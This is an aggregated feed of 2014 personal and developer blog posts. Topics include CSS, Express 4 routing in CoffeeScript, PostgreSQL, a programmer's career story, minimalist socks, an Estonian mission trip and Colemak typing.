cannot redeclare at /tmp/baz.pp:4 on node computer.example.com

Typically this means that there is either a bug in your code, or someone has defined something more than once. As annoying as this might be, a compile error happens for a reason: puppet detected a problem, and it is giving you a chance to fix it, without first running code that could otherwise leave your machine in an undefined state.

The 30 CSS Selectors You Must Memorize

Zac Szewczyk — Wed, 23 Jul 2014 20:18:06 GMT

I don’t do this often, but for all the help Tuts+ gave me as I worked to expand the functionality of this design over the past few weeks, I can’t let it slip by without note. When I build a site, I prefer to do everything humanely possible with CSS rather than outsourcing it to JavaScript. Due to this perhaps irrational desire, everything — including device detection — but the ability to enter dark mode and save that preference across multiple sessions is managed strictly using CSS. As I’m sure you web developers out there can understand, this led to some sticky situations in which I almost resorted to a quick and dirty script. Thanks to resources like this one though, I managed to keep my use of JavaScript down to a minimum, and continue to ship a speedy site for you all to read. Next time you import jQuery out of habit, think back to this and ask yourself, “Can I do this with CSS?” Because after seeing tutorials like this, I bet you can.

Permalink.

Winter on Two Pairs of Socks

Josh Thompson — Wed, 23 Jul 2014 03:00:00 GMT

We’re minimalists, mostly. We try to not have a bunch of stuff. This naturally extends to the wardrobe. I’ll cover more about what we wear another time, but for now, I want to give you an idea. With the right socks, you can go an entire winter with just two pairs of socks. You wear one, and the other sits in your drawer. When one pair is dirty (which can take some time, with the right socks) you wash ‘em and switch.

Packing is easy. You wear on pair. To cover all sock-wearing needs, you put your other pair in your bag. Done.

These are not normal socks, of course. I have been wearing Icebreaker Stripey socks for about a year, now. When not wearing those, I wore some old wool socks until my Icebreaker socks dried. (I didn’t wear them only when they smelled foul, which took usually at least four days of daily use). I’ve not been extremely thrilled with the Icebreaker socks, and recently wore a hole through them. (Daily use for a year could seem excessive, but I have high standards.) Icebreaker Customer Support kindly sent me a replacement pair, and it seems the problem I had with the first pair will not be a problem with the second.That said, I’m still interested in trying a pair of Darn Toughsocks as my “other” pair. Two good pairs of socks cover all my cold-weather anddress-sock needs. (I wear these in formal occasions, too. Anytime I wear long pants, one of these pairs of socks is on my feet.So - washing. What’s up with that. How I do it?Yes. In a sink. Or in the shower. Or in a washing machine. (But do not put them through the drier). The wool used by Icebreaker or Darn Tough is not like cotton. It doesn’t pick up odor, it dries quickly, and it easily releases any stink it does pick up. So, when in the shower, soak the socks, maybe add a little soap, get them wet, rinse them out, hang them up, and they’ll be dry and stink-free in the morning.

Benefits of helplessness

Josh Thompson — Wed, 23 Jul 2014 03:00:00 GMT

The last few days were rough, strangely enough. I live in beautiful Golden, Colorado with my best friend (who I happen to be married to), and I’ve got a pretty cool job to boot. That’s the “big three”, right? (Relationships, work, location.) Yep. Except from Thursday through Monday, I was more or less sick as a dog. I could barely talk, slept extremely poorly, and had a fever that was usually north of 101. I spent a lot of time sleeping, and the rest of the time wishing I was asleep.

We spent a lot more at Rite Aid than we normally would, I watched a lot of movies, and played a fair amount of video games. (More accurately, I existed in the same physical spaces as a movie that was turned on. My attention wandered, as did my consciousness.) I read about six paragraphs, over those six days, and worked at least a few hours of them.

So - what good came from these five days?

Plenty. I just have to look for it.

I was loved by my wife. I didn’t have to lift a finger in my own aid. It’s rare that I’m totally bedridden, and it was good let myself be served, free of guilt and trying to serve back. Marriage isn’t 50/50. These last few days it was 100/0.
I was forced to do nothing. It was harder than I first expected, mostly because a lot of the things I normally would do I was unable to do.

I am blessed. These last few days helped that really sink in.

Throwing Under The Bus

Craig Pardey — Wed, 23 Jul 2014 03:00:00 GMT

Throwing somebody under the bus (ref) is a cowardly act, and one that particularly irks me. Nobody likes to be humiliated in front of others.

I’ve seen this happen countless time when a developer will point out a bug or error of another developer and use it as an excuse for not delivering on their own work. “I couldn’t load the data because of a bug in Johnny’s code”. Bullshit. If you were a team player then you would have pulled up a chair next to Johnny and tried to fix the bug so that the project could move forward.

Summer holidays and Amsterdam

Liza Shulyayeva — Tue, 22 Jul 2014 14:06:06 GMT

July is when Sweden goes on holidays. Businesses are closed for the summer (quite a few of them, anyway), people take time off work, the weather doesn’t suck. Usually people tend to go away to other countries, which to me is ludicrous because after all that snow and cold these months are finally when Sweden gets warm and sunny. I guess I’m kind of fibbing - I get it. You want to get out and see other places during your vacation.

Seemed So Sensible

Zac Szewczyk — Tue, 22 Jul 2014 10:00:44 GMT

Regardless of your own personal opinions regarding Christianity and religion in general, I think we can all get behind Sid’s overarching sentiment: it is important to remain true to yourself even when doing so means standing alone alongside an unpopular opinion. For in the end, with what will we find ourselves left? It is to these convictions we hold and must hold strongly that we will return; without them, we have nothing.

Stick to your guns. Be yourself. At the end of the day, I promise: you will be glad that you did.

Permalink.

Hidden Damages of the Introvert vs. Extrovert "debate"

Josh Thompson — Tue, 22 Jul 2014 03:00:00 GMT

Are you an introvert or an extrovert?

Chances are good an answer pops to your mind. Of course you’re right! You’ve taken internet tests! You’ve read Buzzfeed articles describing one aptitude or the other, and you feel like they speak to you!

Stop. Right now. You’re speaking lies to yourself.

How about another question:

Are you fit, or are you intelligent?

Ah. You respond:

You can obviously be both intelligent and fit, or one, or the other, or neither. They are not dependent upon each other at all.

You can train one or the other. Yet don’t we usually guide people towards one or the other?

Here’s another “dichotomy” that doesn’t hold up in the real world - “right brained/left brained”. Creative vs. concrete thinkers. But I digress…

Josh Spodek blew my mind when he wrote that introversion is not the opposite of extroversion.

Believing that you are one or the other allows folks to slack of in areas of their life that are difficult. This is a shame, because usually that thing that’s the hardest for you is the best way for you to grow in a short period of time.

If you never exercise, you can realize incredible gains in a short period of time. Your percentage of growth in a month could be ten times that of a professional athlete continuing to train.

Along those same lines, if you are all jock, and never do “brainy stuff”, you can learn and grow a lot just by finishing a few books.

This holds true for interpersonal skills. If you can’t talk to people IRL, two hours of (difficult but rewarding) effort could mark a turning point in your life.

If you don’t like being alone by yourself, the best thing for you may be sitting alone by yourself.

Please don’t sell yourself, or anyone else, short by believing lies about introversion and extroversion.

Feels introverted-y, right? Sure. Doesn’t mean I can’t be extroverted, too

Book: Node.js Blueprints

nutcroft — Tue, 22 Jul 2014 03:00:00 GMT

I recently read Node.js Blueprints by Krasimir Tsonev (Packt Publishing).

It is addressed to people who know JavaScript and want to use it from the server side too.

The book starts with a chapter on some programming paradigms that are currently used on the Node.js land. Patterns such as inter-module communication or how the asynchronous nature of Node works.

The following chapters are mainly concerned with the most important libraries on the Node.js ecosystem. The first library the author chose to present us is Express (probably expected). We go through a basic site while learning Express. The author, along with every JS library, walks us through a tutorial with a sample web application. He continues with chapters on Angular and sample blog, socket.io and chat app, backbone and to-do app, ember and social feed app.

Apart from the above libraries, there is material on automation, testing, dynamics CSS, REST API, and Node.js desktop apps.

Suitable for those who want a start on Node.js and its ecosystem, Node.js Blueprints is a pretty good book. The author's approach with example web apps on each library is very good. Every chapter is clear while after finishing it you have learned what you need to start and decide whether you want to dive further into.

Furthermore, the code of the book is available from Packt Publishing. Care, though, since there are some (understandable) errors.

Recommended!

Why should you learn PostgreSQL?

Brightball Articles — Mon, 21 Jul 2014 23:00:00 GMT

Nearly a year ago I put together an hour long presentation on PostgreSQL to provide an overview of all of the benefits it provides you over other options in the database space. In hindsight, that wasn't nearly enough time because it has the capability to replace almost your entire application stack outside of the web server. In any case, here is an attempt to summarize all of the amazing functionality that you're cheating yourself out of by not choosing PostgreSQL.

Getting to Know Fiddler: Part I: Capture and debug traffic from a mobile device

Joshua Rogers — Mon, 21 Jul 2014 15:00:00 GMT

If you've done any amount of web development on Windows, you've probably used a program called “Fiddler” a few times. Fiddler is a small proxy server that allows you to see all of the requests made by your system. Sadly, for most people, I'd guess that that is all that Fiddler is. It's a shame because Fiddler offers up so much more power than that. So, let's fix this. For the next several weeks, we're going to explore some of the under noticed functionality that Fiddler provides us.

Debugging Rx with Seq

Daniel Little Dev — Mon, 21 Jul 2014 11:34:02 GMT

Debugging Reactive Extensions can sometimes be a bit tricky. When you have a few stream to watch, pinpointing failures is time consuming…

The Daily Show on Glassholes

Zac Szewczyk — Mon, 21 Jul 2014 10:14:29 GMT

Absolutely hilarious video, courtesy of John Gruber — with the choice line taken as an excerpt: “Magellan Was an Explorer. Chuck Yeager Was an Explorer. You Guys Have a Fucking Camera on Your Face.” I was rather bullish on the widespread reaction to Google Glass the other day when I wrote Thoughts on Glass, but I can still appreciate some great humor when I see it. Very well done.

Permalink.

Defect Reporting

The Cranky Developer on Crater Moon Development — Mon, 21 Jul 2014 03:00:00 GMT

Guidelines for defect reporting

Clean & efficient namespacing/routing in express 4

Jeroen Pelgrims — Mon, 21 Jul 2014 02:06:00 GMT

A full example for both express 3 and 4 can be found on github.

I have a bunch of routes which are under the same namespace.
E.g.:

GET /api/person
POST /api/person
GET /api/person/:id
PUT /api/person/:id
DELETE /api/person/:id

I could start implementing these as follows:

app.get '/api/person', (req, res) ->
    #return people

app.get '/api/person/:id', (req, res) ->
    #etc.

But I have a problem.
I'm lazy, so fuck that shit.

Express 3§

In express 3 you had the express-namespace module which could alleviate your problems as follows:

express = require 'express'
require 'express-namespace' #Be sure to include this *before* creating your app object

app = express()

app.namespace '/api', ->
    app.get '/person', (req, res) ->
        #return people

    app.get '/person/:id', (req, res) ->
        #return person

   #etc.

Express 4§

In express 4 the Router class received a rework.

You can now do the following:

Router = (require 'express').Router

personRouter = Router()
personRouter.get '/', (req, res) ->
    #return people

personRouter.get '/:id', (req, res) ->
    #return person by id

apiRouter = Router()
apiRouter.use '/person', personRouter
app.use '/api', apiRouter

Looks more cluttered than the v3 example you say?
Well keep in mind that with this way you can more easily put everything in separate files without passing your app object everywhere.

Express 4 - shorthand§

In the previous example we've always attached a verb directly to a route, but you can also define a route on it's own and then attach verbs to that.

#app.coffee
express = require 'express'

app = express()

apiRouter = express.Router()
app.use '/api', apiRouter

apiRouter.use (require './person')

#person.coffee
Router = (require 'express').Router

peopleRouter = Router()

peopleRouter.route ''
    .get (req, res) ->
        #return people
    .post (req, res) ->
        #create person

peopleRouter.route '/:id'
    .get (req, res) ->
        #return person
    .put (req, res) ->
        #update person
    .delete (req, res) ->
        #delete person

module.exports = peopleRouter

A Crazy Summer

Dustin.Lammiman — Mon, 21 Jul 2014 01:45:33 GMT

I think its safe to that my summer is off to a crazy, but amazing, start. On June 27 I left for Estonia with 10 wonderful people (7 high school students and 3 leaders) to lead a three-week mission trip. We arrived early Sunday morning (just after midnight) and caught a few hours of sleep before heading to church and then camp. Camp ran Sunday-Friday and our team’s responsibilites included being cabin counselors and teaching a lesson on Thursday morning. This was an intereseting experience as the campers ranged in age from 8 up to over 18. Everything also had to be translated – twice – as most campers spoke either Russian or Estonian. We relied primarily on a mostly silent skit and an object lesson to make our point about being strong and courageous as we follow God’s law (Joshua 1:7-8). Throughout the week it was incredible to watch the way our team connected with the locals and excelled at all of their responsibilites, despite the fact that many of them had either very little camp experience or none at all.

The day after camp we took a day trip out to Rakvere, home of an authentic 14th century castle. Being in a castle that old was amazing in its own right, but there were also people dressed up in authentic costume, swords to play with, walls to climb, and a torture chamber to tour, making our afternoon a very complete and enjoyable experience. The next day after church we had the opportunity to see part of the Tallinn Song Festival. This event only happens once every five years and is an important part of Estonia’s identity and culture. Prior to our trip we had watched The Singing Revolution, a documentary which outlines the important role this festival played in helping Estonia regain its independence from the Soviet Union. The event was absolutely packed with people and we couldn’t find anywhere to sit with a decent view, which meant that it wasn’t quite as enjoyable an experience as many of us had hoped, although I think we all agreed that we were glad we went because of its cultural significance.

Our second week in Estonia was spent in the capital city, Tallinn. We were part of what they called “City Camp,” which is similar to what we would call VBS. In the afternoons we would play games, sing songs, make crafts, and learn a Bible lesson with kids and teens up to about age 14. Our main involvment was in the evenings, when the teens and young adults would come. Our team was responsible for leading games, and the program also included some great singing times and discussions around our lessons, which continued on the theme from camp – Be Strong and Courageous. Many of the youth had been at camp the week before so we had the opportunity to continue to build relationships with them and talk with them about faith issues. There was a very real sense of community, and many of the youth would join us for supper and other activites long after the program had officially ended. On Thursday night one of the students from our church was baptized in the Baltic Sea – a very exciting way to top off a great week. Three Jr. High students from our church had also been baptized back in Calgary earlier in the week and many of us were having deep conversations about God with some of the Estonian teens. It was one of those moments where it becomes easier than normal to see how God is working in our world.

On July 12 we returned to Calgary amidst many difficult goodbyes. It was hard to part with the people we had met in Estonia, as well as the other members of our team who had been our constant companions for the past two weeks. A long and tiring flight back to Calgary did not mean rest, however, as we arrived back in Calgary at 8pm on Saturday and by 1pm on Sunday I was back on the road headed to Pine Lake for a week at Jr. High Camp. Eight students from my church joined about 50 other campers for a fantastic week. It was hot, and the lake was closed due to blue-green algae, but water fights and slip n slides allowed us to cope as we built relationships and talked about what it means to be a follower, not just a fan, of Jesus. I always love camp, but this week was especially significant for me as it was my first time being at camp as a youth pastor. It was good to know that the conversations and experiences I shared with my youth kids wouldn’t have to be put on hold until next summer.

This blog post is drawing to an end, but my busy schedule is not. Next week our church is hosting a VBS where we are expecting over 100 kids. It will be another tiring week I’m sure, but also another opportunity for God to shine his light.

Rakvere #

Tallinn Song Festival #

Tallinn Old Town #

The Baltic Sea & a Baptism #

One last note – if you want to learn more about what we did on our trip, one of the students wrote a blog post every day about his experiences. These are part of a larger blog about a trip he is taking with his family, but the earliest posts give a well written summary of the trip from the point of view of a high school student. See phloatingaround.wordpress.com

The Damned

Varun Ramesh's Blog — Mon, 21 Jul 2014 00:30:00 GMT

A couple weeks ago, I took part in a game jam on itch.io called the AGDG Microgame Jam.

This Week in Podcasts

Zac Szewczyk — Sun, 20 Jul 2014 18:44:31 GMT

Yet another week has come and gone, and here at the end we once again find ourselves with a collection of fantastic podcasts; some new and only just published, while others now have one more chance at enamoring a pair of fresh ears. Some new, some old, and all equally excellent.

Permalink.

Be Gentle to You

Josh Thompson — Sun, 20 Jul 2014 03:00:00 GMT

There are many types of people in the world, all with different approaches to “getting stuff done”. My approach to doing stuff is different from my wife’s approach. (Who’da thunk?)

These two years of marriage have revealed much. One of these “revelations” was this: my sense of worth is closely tied to how well I think I’m accomplishing tasks and goals, across a broad spectrum. In some ways, this is good. I set goals, plan how to accomplish them, and even manage to compete a few percentage points of these goals.

The downsides were subtle, and two-fold:

1. Since my sense of worth is tied to accomplishments, I evaluate others in the same way

Imagine being married to someone who only acts like they love (and like) you only if you’re industrious and productive. Yikes!

2. Since my sense of self-worth is tied to accomplishments, I feel guilt and shame when I fail to meet whatever standards I imagine for myself

This cycle feeds itself, so I’ll either work harder, sort of like penance, or I’ll fall deeper into guilt and shame.

I said these downsides were subtle, because until about a year ago, I was blind to this thinking. This led to strife in my marriage, as Kristi would feel like I didn’t delight in her unless she was working on some side project. I couldn’t figure out why I wasn’t delighting in her.

Pro tip: If your loved one says

I know you love me but it feels like you don’t like me

Don’t argue back. That brilliant rebuttle you have? When you say it, in an angry tone of voice, it’ll sound completely self-delusional:

You’re wrong! I really really LIKE YOU!!!!

Are you comfortable paying a mechanic for their services? I’d suggest you engage a counselor to help you with tricky “mechanical issues” in your marriage. Kristi and I have spent thousands of dollars on counseling, and it’s the best money we’ve ever spent, and it’s a bargain at 5x the price

Here’s where I would normally want to put next action steps for fixing these problems. The first step to dealing with this was realizing I couldn’t “self-help” my way out of it. The Gospel speaks to these issues in a far deeper way than anything else can.

In sum: I am deeply broken. So is Kristi. And we can rejoice in this truth.

My lovely wife. Two years in! (2014)

Working and Learning

bastibe.de — Sun, 20 Jul 2014 03:00:00 GMT

At the university, I have a big advantage: I can program. So many of my fellow students are programming as their main means of doing science, yet clearly never learned how to program efficiently. It is saddening to see them "fight Matlab" for days, for things that would take a programmer hours.

So how did I get to this point? After all, I went to the same university and studied the same topics they did. My first introduction to programming was our Introduction to Programming in the first semester. We learned how to write simple text-based programs in C.

My own blogging engine

At the time, my fellow students and I wanted to organize our lecture notes, copied exams, and assignments on our own website. Not knowing any better, I picked up PHP and set out to write a little website for this. It turned into a little CMS, all hand-written in PHP, HTML and (almost no) CSS.

This happened about four weeks into the introductory programming course, so I only knew a few bits of C and didn't appreciate the differences between programming languages yet. Many bad things have been said about PHP, but it allowed me to hack together a blog, file browser, gallery, and calendar with knowing little more about programming than branches and loops.

It scares me to look at the ease with which I picked up PHP at the time. With more experience, I seem to become more reluctant to try out new things. This might be a very bad thing.

C programming at the university

In my third semester, a professor offered me a job as an undergraduate research assistant. As my first assignment, he wanted me to program a MIDI interface for Matlab. The idea was to use the Matlab-C interface Mex to connect portmidi to Matlab. At this point, I had had two programming courses (C and C++_Matlab), and had read The Pragmatic Programmer.

I remember the professor telling me to stop obsessing about that piece of code. He said "You are an engineer, 95% is good enough for engineers". Yet, reading through this code now, it is some fine C code. Everything is well-commented, the implementation is clearly split into one Matlab-related part and one portmidi-related part, and there even is an (informal) test suite! To my mind, those extra 5% make an incredible difference! It is astonishing how much my early career has been influenced by The Pragmatic Programmer.

Another project concerned extending a C program that simulated small-room acoustics. It took me eight months to admit defeat. Every week, I would spend ten hours staring at my screen, trying to understand that program. Every week, I would fail in frustration. After eight months, I told the professor that I couldn't do it. A few months later, I told the professor that I would have another go at the project. This time, I read the research paper associated with the program first. After that, the project was completed in one afternoon. Sometimes, just reading the code is not enough. (This is probably more true in academia than anywhere else).

Qt and Cocoa and OpenGL

I wrote my bachelor's thesis for a small company in southern Germany. At my university, the thesis was supposed to take half a year, and should be written at some company, so students would get some first-hand experience of the real world outside the university.

The basic algorithm for the thesis was working after a few weeks. Since my boss was more interested in a commercial result than in more research, he proposed that I write a desktop application for it. This is how I was introduced to Qt. Qt is an incredibly complex framework. Luckily for me, it is also an incredibly well-documented framework! As a newcomer to programming, API docs can be a very daunting thing, filled with jargon and implementation detail. This was the first time I learned something mostly from reading the API docs, and I am grateful that I happened to pick Qt for that.

After finishing my thesis, I worked remotely for the same company, writing another GUI application. This time, the program was to be written in Objective-C/Cocoa. In contrast to Qt, I needed the book to learn Cocoa. Working through the book was a very different experience than learning Qt from API docs. The book not only described the API, but also things like best practices and programming patterns. As a result, my final program was much easier to understand and extend than the Qt program I wrote earlier.

Cocoa and Qt show two very different styles of documentation. The Qt documentation is very complete, and very well-written. It is a rare feat for a framework this complex to be learnable from the documentation alone! Doing the same thing with the Cocoa documentation instead of the book would have been painful. The book really went much further than pure API documentation can reasonably go, and my experience was better for it! (By the way, I also learned and used OpenGL during that time. The less said about the OpenGL documentation, the better).

Why Software is paid for

In the meantime, the company had been bought by a foreign investor. While this meant that my program would never see actual users, it also meant that they could offer me a proper job. And like every good engineering student, I needed Matlab, Photoshop, and Microsoft Office. And like every cliché foreign investor, they replied with "This is too expensive, here is a link to the Pirate Bay".

This did not sit well with me. After a bit of soul-searching, and my most interesting and obviously soon-deleted Stack Overflow question, I realized that I could not pirate software any longer. My own livelihood depended on people paying for the code I wrote. There was no way I would use other people's code without paying for it.

And thus we used Inkscape instead of Illustrator, and Python instead of Matlab. Mere weeks later, I discovered that Inkscape produces (mostly) standard-compatible SVG files that could be opened with any regular text editor, and manipulated with any regular XML parser! It soon became apparent that the open nature of this file format enabled us to use Inkscape for so much more than mere vector graphics! While in retrospect, it was not such a bright idea to use a vector graphics program as a GUI layout editor, it really drove home the value of open file formats and reusability! A lot of the later work on the project would have been impossible had we used Illustrator and Matlab.

Automation

We were working with a British company on a new digital mixing console at the time. Our team was mostly responsible for the software side of the project, while the British company was mostly concerned with the hardware. One big issue was that in order to get a testable system going, one had to compile some software, run some converter scripts on some files, zip some other files, set up the prototype hardware correctly, then send all the files to the prototype in the right order. Forget one step, or take an outdated version of something, and the system would not work.

It was a disaster. We would lose days debugging nonexistent issues, only because we had forgotten to update such-and-such library, or renaming some debugging file. It would be easy to blame this on my colleagues. But the reality is, no-one had ever done a project this large before, and our tools were utterly incapable of build automation of this kind.

In the end, I wrote some crazy Rube Goldberg Machine that integrated GNU make with Visual Studio, and delegated all the packaging and converting to makefiles. It would even download a large set of Unix tools and a full installation of Ruby if need be. I can't say I'm proud of this wild contraption, but anything is better than wasting days debugging non-issues. To its credit, there have been zero issues with wrongly packaged files with this system in place. I can not tell you how much stress and conflict this simple act of automation relieved. Never have a human do a machine's work.

Lua and DSLs

When I started on the job, a colleague of mine handed me a copy of "Programming for Windows 95", and told me to read it since he had modeled the internal GUI library after it. This was 2010. I was very unhappy about this. In the following years, I would rework many a subsystem within this library. But the more I changed, the more I had to take responsibility for the library. Before long, I had taken official ownership of the library, and I had to answer to questions and feature requests.

This turned out to be both a blessing and a curse. On the one hand, it gave me a great deal of freedom and authority in my own little world. On the other hand, I didn't really care for responsibility for this much legacy code in an application domain I was not particularly interested in. Thus being motivated to change things had its upsides though, and I learned a lot when implementing a font rendering engine, a bitmap caching and memory allocation system, and various configuration mechanisms on an embedded platform.

But, at the end of the day, there is only so much you can do with a bad code base in a bad subset of C++ (largely due to compilers, not people). In another slow-going week when GUI work was not particularly important, I investigated implementing a scripting layer for our framework. We were not very optimistic about this, since the scripting engine had to run on a terribly slow embedded processor that was already running almost at capacity.

We chose the scripting language Lua for the job, since it was tiny, and easy to embed (in both meanings of the word). Lua turned out to be a stellar choice! As scripting systems often go, the Lua code took over most of the frontend work in the application. Before long, all the GUI layout was done in a Lua DSL instead of XML. Imagine creating 200 buttons in a two-line for loop instead of 200 lines of XML. Also, I consider the book Programming in Lua one of the pivotal books in my programming career!

All the GUI and hardware interaction was done in Lua. The mixing console had some 40000 parameters, and a terrifying number of hardware states. I daresay that it would have been all but impossible to implement the complex interplay between all of these states in a less dynamic environment than Lua. Years later, one of the later maintainers of the product told me how this system had saved his sanity many times. This was one of the proudest moments in my career!

I vividly remember the feeling of liberation when I transitioned from C++ to Lua. I don't think we would have managed to ship the mixing console in time without Lua. In fact, there was one feature from the old analogue mixing consoles that they never managed to implement in the newer digital consoles, because it was just too hard. With Lua, it was a giant headache, but it worked. Never underestimate the power of a different language when problems seem impossibly hard.

The role of boredom in my job

The Lua experiment started in a time when work was slow, and idle thoughts had the time to mature into ideas. The system automation was started in a similar time. I was lucky to have had a few of those weeks. Some of them amounted to cool projects in the company, others I spent on improving myself.

I always had a bit of a fetish for text editing. I just love the act of feeding thoughts to the computer through a keyboard. To me, it is a much more satisfying experience than using a pencil and a sheet of paper. At the university, I used Vim on Linux, then Textmate on OS X, then XCode. On the job, I was then forced to use Visual Studio, which still holds a special place in my heart, as one of the most miserable editing experience I ever had (though Lotus Notes and Microsoft Word only rank lower because I used them less).

It should come as no surprise then, that I was overjoyed when I discovered ViEmu. It really transformed my work at the time -- what was previously a chore was now made enjoyable by the feeling of power conveyed through the Vim key bindings in Visual Studio! And this improved even further when I used another spare week to finally learn how to properly touch-type. These days, I am typing in Emacs, but enough has been written about that already.

I had one colleague who only used his two index fingers for typing. Seeing him type was maddening. But the worst thing was not his typing, but what he was not typing. Naturally, variable names were short, documentation was sparse, and code was optimized for brevity. He even resorted to some graphical code editing monstrosity, just to save himself some typing. I have written a Visual Studio tool that automatically filtered out some of the junk this tool produced, and wrote wrappers around his libraries to make them usable for other people. Seriously, don't be that guy. Typing is a core competency for any developer.

Open Source

Besides all of the GUI work I did for the company, I was actually hired for audio algorithm development. Since we didn't get a license for Matlab, I quickly grew to love Python instead. At the time, Python was right in the middle of the transition from Python 2 to Python 3, and one of the libraries I needed was Python 2 only. In another one of those fateful slow weeks, I set out to translate it to Python 3.

I didn't know much Python at the time, so the result was not exactly perfect. The maintainer of the library however was really nice about this, and helped me figuring out the problems with my code. This was the first time I ever talked to any programmer outside my company! And even better, this programmer seemed to be a professor at MIT, or something, and likely a lot more experienced and intelligent than I was! I was incredibly lucky that this first contact with the open source world was such a kind and positive one.

Not too long after that, I started writing my own open source libraries, and publishing them on the web. And before too long, people began using those projects! And then they started contributing to them as well! In a way, one of my main griefs with working for a company has always been that there are so few people with which you can talk about the things you do all day. And now, suddenly, random people from all over the world are showing interest and help for the things I do in my spare time! I really can't emphasize enough how much this involvement with the open source community and other people has improved my view of the world, and my understanding of the work I do!

My next adventure

This has been a summary of the things I did so far. It has been an incredible journey, and one that never stopped to surprise me. Now I am finishing my master's thesis, and getting ready for a doctorate after that. All the work I did and do is based on the incredible work of people before me. At least for the time being, I want this to be the goal of my further work: To advance the sum total knowledge of the world, if only by a tiny bit.

For this, my most important tool is still programming. Learning how to program is an immensely valuable skill, and doubly so if your job title is not "developer" or "programmer". Programming is not just a tool to talk to the computer and earn a living. We should not forget that programming is also a rich thinking tool for trying out new ideas, and sharing them with other people.

For the moment, I have no desire for being beholden to some company dictating my goals and hiding my achievements. Writing this up has proven to be a very liberating and insightful experience for myself, just the way my research journal is for my day-to-day work. Putting ideas and algorithms in writing is an incredibly useful tool for finding one's place in the world and contributing to its betterment!

If I Stay

🦉 olshansky 🦁 — Sat, 19 Jul 2014 19:24:38 GMT

Olshansky's review of If I Stay

Emacs Package Archive Statistics

Alan Pearce — Sat, 19 Jul 2014 16:19:54 GMT

Working out which package archives I'm using

Brett Terpstra Features First Crack

Zac Szewczyk — Sat, 19 Jul 2014 13:56:18 GMT

Roughly once a week, give or take a few days, Brett Terpstra publishes a new installment in his “Web Excursions” series, where he talks about interesting bookmarks from around the internet. In yesterday’s issue, Web Excursions for July 18, 2014, he featured First Crack 1.0 front and center. That’s pretty cool.

Permalink.

What is special about DDG

Ben E. C. Boyter — Sat, 19 Jul 2014 05:37:05 GMT

Since I am still bringing all my content together I thought I would pull in this post from Quora asking what is special about DuckDuckGo.

Privacy enabled by default. This certainly helped get traction when the NSA security revelations came around. DDG is not the only privacy conscious search engine but certainly one that pushes it as a feature more then others. See https://duckduckgo.com/privacy
!bang syntax. Remember back in the early days of Google they had a “Try this search on” and a list of search engines? !bang is that idea on steroids. This makes the cost of switching to DDG much lower then any other search engine because you are not locked in when its results are lacking.

2014-07-19

ho.dges.online — Sat, 19 Jul 2014 03:00:00 GMT

Waiting for the Commonwealth Games torch…

Ricerous

Venam's Blog — Patrick Louis (Lebanon) — Sat, 19 Jul 2014 00:00:00 GMT

Hello fellow readers, This post is simply to link to the ricerous project threads.

Amazon's Whale Strategy

Zac Szewczyk — Fri, 18 Jul 2014 10:47:07 GMT

You cannot — ought not — judge the Fire phone by the traditional standards against which we have come to judge all devices these days, but rather from the perspective of a goods and services company that seeks to facilitate streamlined access to its storefront for its most loyal and devoted customers by offering them a device integrated with its own services to a degree made impossible through third-party integration alone on another device maker’s platform. When considered in this light, the Fire Phone is, inarguably, an interesting proposition that more than merits the considerable number of think-pieces that have been devoted to it since its announcement. This is the point Ben Thompson makes here, and makes so, so very well.

Permalink.

The Future of Computing

Zac Szewczyk — Thu, 17 Jul 2014 10:13:08 GMT

In a style made popular by Benedict Evans in his hallmark Twitter postulations, posit: computers were created for writers. As such, the next iteration of computing devices will cater to the needs of others: creators and designers will have Jarvis-like artificial intelligence systems to converse with and holographic interfaces to involve their entire bodies in the creation process. The current model involves the two tools of the writer’s trade: their hands and their minds. Future implementations will go beyond those unnecessary restrictions that don’t apply in other fields in order to provide a richer, more productive computing experience.

Permalink.

A 40 Hour Work Week

Josh Thompson — Thu, 17 Jul 2014 03:00:00 GMT

Business Insider posted an article on why we have a 40 hour work week. The author blames big business for why we’ve not dropped below 40 hours per week. He thinks that if America became less consumer-driven, our economy would collapse.

He’s got the wrong starting assumptions about what is good and bad for an economy, but he’s right that a 40 hour work week is unnecessarily strict, and counter-productive. Many full-time office workers would love to work “only” 40 hours, and once you tack in the occasional nine hours of work, plus lunch, plus commuting, most of us spend 11 hours a day getting ready for, traveling to and from, or existing at, work.

One way to gain control over your life is to reduce commuting time. I’m obviously a fan of working remotely, at least part of your work week.

Beyond this, though, is the idea that work only gets done in forty hours a week, and between the hours of nine and five. Jason Fried, founder of a very successful, privately held, fully remote company argues that work doesn’t happen at work. I agree. Work also doesn’t happen in the intervals we think it does.

Time and time again it has been found that constraints improve workflow. Timeboxing is enormously effective when trying to complete specific, well-defined bits of work. RedGuava, a SaaS company in New Zealand works just 30 hours a week. We could call them lazy, but isn’t that confusing effort with result?

They’ve built a fantastic product, and do so while living their life, rather than deferring everythinguntil retirement.

I would love to see more experiments with shorter work weeks, to see how it affects work that gets done. You could do half-day Fridays, or seven-hour days. Both of these would trim a workweek from 40 hours to 35. What an experiment!

I'd Drive That

Zac Szewczyk — Wed, 16 Jul 2014 10:04:17 GMT

Every so often an article crosses my path wherein the author drools over a custom shop’s awesome modifications to an already awesome vehicle, and then I invariably spend a good long while extricating myself from the inevitable rabbit hole that ensues. As of this writing, nearly four months have passed since I have gone down that path, continuing my trend of leaving roughly three months between each of these articles. Today, I’m back for another round: thanks to the rediscovery of three monsters I squirreled away in my Instapaper queue a number of weeks ago, and only just recently rediscovered, I finally have cause to once again spend time appreciating these mechanical marvels at the intersection of industrial design and raw power.

Permalink.

STOP YELLING ON THE INTERNET, or, A Better Use for the Caps Lock Key

Josh Thompson — Wed, 16 Jul 2014 03:00:00 GMT

My current project is to learn to type using an alternative keyboard layout called Colemak. QWERTY has problems. Here are a few, shamelessly borrowed from Colemak.com

It places very rare letters in the best positions, so your fingers have to move a lot more.
It suffers from a high same finger ratio that slows down typing and increases strain.
It allows for very long sequences of letters with the same hand (e.g. “sweaterdresses”)
It was designed to prevent the keys from sticking, without any consideration to ergonomic or efficiency aspects.
It was designed so the word “typewriter” could be typed on the top row to ease demonstrations.
It suffers from an extremely high ratio of home-row-jumping sequences (e.g. “minimum”)

Devorak is the most commonly known alternative keyboard layout (citation needed) but, for a number of reasons, Colemak wins the race. Mostly because Colemak keeps common keyboard shortcuts, like CTRL+V, C, B, X, Z, Q, and others. Less letters move around in Colemak, so it’s less of a hassle to learn.

That said, it’s still quite difficult! I never realized how powerful muscle memory was until I remapped the caps lock key to delete.

I strongly recommend making this modification on your keyboard, even if you never plan on switching away from QWERTY. It makes such a difference. Here are a few of the benefits:

Faster use of backspace . The delete key is ten times as far from your hands as the caps lock key. This takes time.
Less finger strain . Since you’re not stretching, it’s easier on your hands.
